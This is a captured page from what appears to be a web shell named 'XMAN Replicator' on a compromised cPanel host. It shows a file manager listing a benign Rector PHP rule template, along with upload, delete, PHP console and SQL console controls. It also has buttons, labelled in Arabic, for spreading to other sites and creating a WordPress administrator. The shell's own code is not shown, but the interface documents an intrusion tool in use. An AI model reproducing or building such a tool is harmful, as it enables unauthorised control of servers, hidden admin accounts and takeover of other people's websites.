🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
templates
/
custom-rule
/
utils
/
rector
/
src
/
Rector
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
__Name__.php
1,097 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
View: __Name__.php
<?php declare(strict_types=1); namespace Utils\Rector\Rector; use PhpParser\Node; use Rector\Rector\AbstractRector; use Symplify\RuleDocGenerator\ValueObject\CodeSample\CodeSample; use Symplify\RuleDocGenerator\ValueObject\RuleDefinition; /** * @see \Rector\Tests\TypeDeclaration\Rector\__Name__\__Name__Test */ final class __Name__ extends AbstractRector { public function getRuleDefinition(): RuleDefinition { return new RuleDefinition('// @todo fill the description', [ new CodeSample( <<<'CODE_SAMPLE' // @todo fill code before CODE_SAMPLE , <<<'CODE_SAMPLE' // @todo fill code after CODE_SAMPLE ), ]); } /** * @return array<class-string<Node>> */ public function getNodeTypes(): array { // @todo select node type return [\PhpParser\Node\Stmt\Class_::class]; } /** * @param \PhpParser\Node\Stmt\Class_ $node */ public function refactor(Node $node): ?Node { // @todo change the node return $node; } }
PHP Console
Execute
SQL Console
Execute